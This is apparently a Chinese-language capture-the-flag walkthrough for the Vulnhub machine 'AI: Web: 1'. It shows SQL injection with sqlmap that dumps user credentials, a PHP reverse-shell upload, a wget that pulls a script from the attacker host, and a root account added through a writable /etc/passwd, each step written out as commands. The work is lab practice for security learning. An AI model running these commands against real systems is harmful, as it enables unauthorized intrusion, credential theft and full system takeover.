AI:WEB:1 Walkthrough
AI: Web: 1 Vulnhub Walkthrough
靶机下载:https://www.vulnhub.com/entry/ai-web-1,353/
测试方法:
Nmap网络扫描
浏览网页
爆破目录
SQL注入获取凭证
SQL注入获取shell
可写/etc/passwd 提权
读取flag文件
靶机和攻击机处于统一网段下 所以就不用netdiscover扫描了
靶机IP:192.168.123.211
攻击机IP:192.168.123.30
主机发现:
ifconfig

nmap -sn 192.168.123.1/24
主机扫描:
nmap -A 192.168.123.211
发现只有一个80端口打开,用浏览器访问

主页上没有任何有用的信息
但是nmap扫到的robots.txt文件中有两个特别的目录
/m3diNf0/
/se3reTdir777/uploads/
浏览器打开

禁止访问,使用dirb爆破子目录
发现一个phpinfo页面
再爆破另外一个目录
没有有用的信息
接着爆破上级目录

发现了一个index.php
看到了输入框,先测试是否有sql注入


1' union select 1,2,database() #

观察URL可知 不是GET提交参数
所以先用BurpSuite抓包,然后上神器sqlmap

sqlmap -r AI-WEB1.txt --dbs --batch


数据库名为aiweb1
接下来查询库中的所有数据
sqlmap -r AI-WEB1.txt -D aiweb1 --dump-all –batch

password字段base64解码
Table: systemUser
[3 entries]
+----+-----------+----------------------------------------------+
| id | userName | password |
+----+-----------+----------------------------------------------+
| 1 | t00r | FakeUserPassw0rd |
| 2 | aiweb1pwn | MyEvilPass_f908sdaf9_sadfasf0sa |
| 3 | u3er | N0tThis0neAls0 |
+----+-----------+----------------------------------------------+
登录凭证拿到了 得想办法拿web shell
sqlmap -r AI-WEB1.txt --privileg --batch 查看mysql的权限

FILE权限 可以对服务器本地文件进行操作
尝试使用os_shell直接得到shell
PS:
使用OS_shell的条件
(1)具有file权限
(2)攻击者需要知道网站的绝对路径
(3)GPC为off,php主动转义的功能关闭
第一点满足了,绝对路径可从info.php中找到
sqlmap -r AI-WEB1.txt -D aiweb1 --os-shell



为了接下来的提权,我们利用执行os_shell留下来的上传页面 上传php恶意脚本,反弹shell

php脚本中的IP改为攻击机的IP
c
上传

攻击机监听端口

访问恶意脚本

反弹shell成功 但这只是一个非交互式shell
我们利用python来模拟一个交互式shell
python -c 'import pty;pty.spawn("/bin/bash")'
注意 我们虽然有aiweb1pwn的密码 但是这个用户并不是root用户
所以还是得找其他方式提权
上传扫描脚本看靶机的配置是否有问题
攻击机开启一个web服务
python -m SimpleHTTPServer 8081

靶机下载脚本
cd /tmp
wget 192.168.123.30:8081/LinEnum.sh
给脚本执行权限
chmod 777 LinEnum.sh
./LinEnum.sh

查看脚本输出信息
发现passwd文件我们竟然能够修改
直接添加一个root用户
openssl passwd -1 -salt salt 1234
echo 'hack:$1$salt$kqNI5AJoJdN1WgWoNslBD0:0:0::/root:/bin/bash' >> /etc/passwd

tail /etc/passwd

添加成功,切换用户(hack:1234)
su hack
id


AI:WEB:1 Walkthrough的更多相关文章
- vulnhub AI: Web: 1
vulnhub AI: Web: 1 提取flag攻略 导入虚拟机,开机. 扫描NAT的C段,确定虚拟机IP和开放端口. 尝试访问该网站 发现什么都没有,抽根烟冷静一下...... 来波目录扫描吧 使 ...
- AI: Web: 1 Vulnhub Walkthrough
下载链接: https://www.vulnhub.com/entry/ai-web-1,353/ 主机发现扫描: 主机端口扫描 http://10.10.202.158/ 目录扫描: ╰─ sudo ...
- AI: Web: 2 Vulnhub Walkthrough
靶机下载链接: https://www.vulnhub.com/entry/ai-web-2,357 主机端口扫描: 尝试SQL注入,未发现有注入漏洞,就注册创建于一账户 http://10.10.2 ...
- 德州扑克AI WEB版
继续之前的德州扑克话题,上次的DOS界面确实没法看,我女朋友说这是什么鬼.哈哈,估计只有自己能玩了 这两天重构了一下界面,基于web服务器和浏览器来交互. 服务器和客户端之间用websocket通信, ...
- 使用 flask-restful 编写 自己的 ai web service
本项目在 win 平台采用 pycharm 编写, 技能与环境要求: python 基础, web 基础知识, python.exe = 3.6+ 算法>第四版,操作系统推荐<现代操作系统 ...
- AI Web 1.0
kali:192.168.0.103 目标机:192.168.0.105 0X01 端口和目录扫描 打开目标主页没有任何信息 a) 端口扫描 只有一个80端口开启 b) 目录扫描 0x03 查看敏感目 ...
- AI Web 2.0
kali: 192.168.0.103 目标机:192.168.0.105 0X01 扫描端口和目录 a)扫描端口 开启了80和22端口 b)扫描目录 看到两个敏感字样的目录 尝试访问/webadmi ...
- .NET Core迁移技巧之web.config配置文件
大家都知道.NET Core现在不再支持原来的web.config配置文件了,取而代之的是json或xml配置文件.官方推荐的项目配置方式是使用appsettings.json配置文件,这对现有一些重 ...
- .NET Core 2.0迁移技巧之web.config配置文件
大家都知道.NET Core现在不再支持原来的web.config配置文件了,取而代之的是json或xml配置文件.官方推荐的项目配置方式是使用appsettings.json配置文件,这对现有一些重 ...
随机推荐
- 利用Tengine在树莓派上跑深度学习网络
树莓派是国内比较流行的一款卡片式计算机,但是受限于其硬件配置,用树莓派玩深度学习似乎有些艰难.最近OPENAI为嵌入式设备推出了一款AI框架Tengine,其对于配置的要求相比传统框架降低了很多,我尝 ...
- Excel-统计函数
1.Count系列函数 COUNT 数字个数----下面结果为 4 counta 非空的字数 ----下面为6 COUNTBLANK ------非空个数 ---- 下面为9 如何将字符串形式的数字 ...
- jvm内存结构及对象漫谈(较全)
最近想整理一下GC相关的知识和经验,在整理之前先整理一下jvm的内存结构,后续会持续更新. jvm内存结构重要由两部分组成:线程共享区域与线程私有区域,如下图所示: 其中方法区和堆为线程共享区域,栈与 ...
- 【转】HTTPS 如何保证数据传输的安全性?
大家都知道,在客户端与服务器数据传输的过程中,HTTP协议的传输是不安全的,也就是一般情况下HTTP是明文传输的.但HTTPS协议的数据传输是安全的,也就是说HTTPS数据的传输是经过加密的. 在客户 ...
- Linux性能优化实战学习笔记:第十三讲
问题1:性能工具版本太低,导致指标不全 解决方案1: 这是使用 CentOS 的同学普遍碰到的问题.在文章中,我的pidstat 输出里有一个 %wait 指标,代表进程等待 CPU 的时间百分比, ...
- springmvc单例
默认情况下springmvc都是单例的,用@Controller注解的web页面,下次请求时,可以拿到controller成员变量的上次运行的信息. 比如:controller类里面有: Linked ...
- 百度语音识别在ROS下的应用-导航
先去wiki下载百度的ros语音识别包:http://wiki.ros.org/baidu_speech 里面包含语音识别voice和speak的node节点,不过voice_node里面有一个小的错 ...
- No package python-pip available. 解决方法
问题描述: No package python-pip available. 解决办法: rpm -ivh http://dl.fedoraproject.org/pub/epel/6/i386/ep ...
- Mybatis成为Java互联网时代首选持久框架的原因
持久层可以将业务数据存储到磁盘,具备长期存储能力,只要磁盘不损坏(大部分的重要数据都会有相关的备份机制),在断电或者其他情况下,重新开启系统仍然可以读取这些数据.一般执行持久任务的都是数据库系统.持久 ...
- git 删除错误提交commit(删除敏感文件)
git filter-branch --force --index-filter 'git rm --cached --ignore-unmatch test/docs/456776898979.ap ...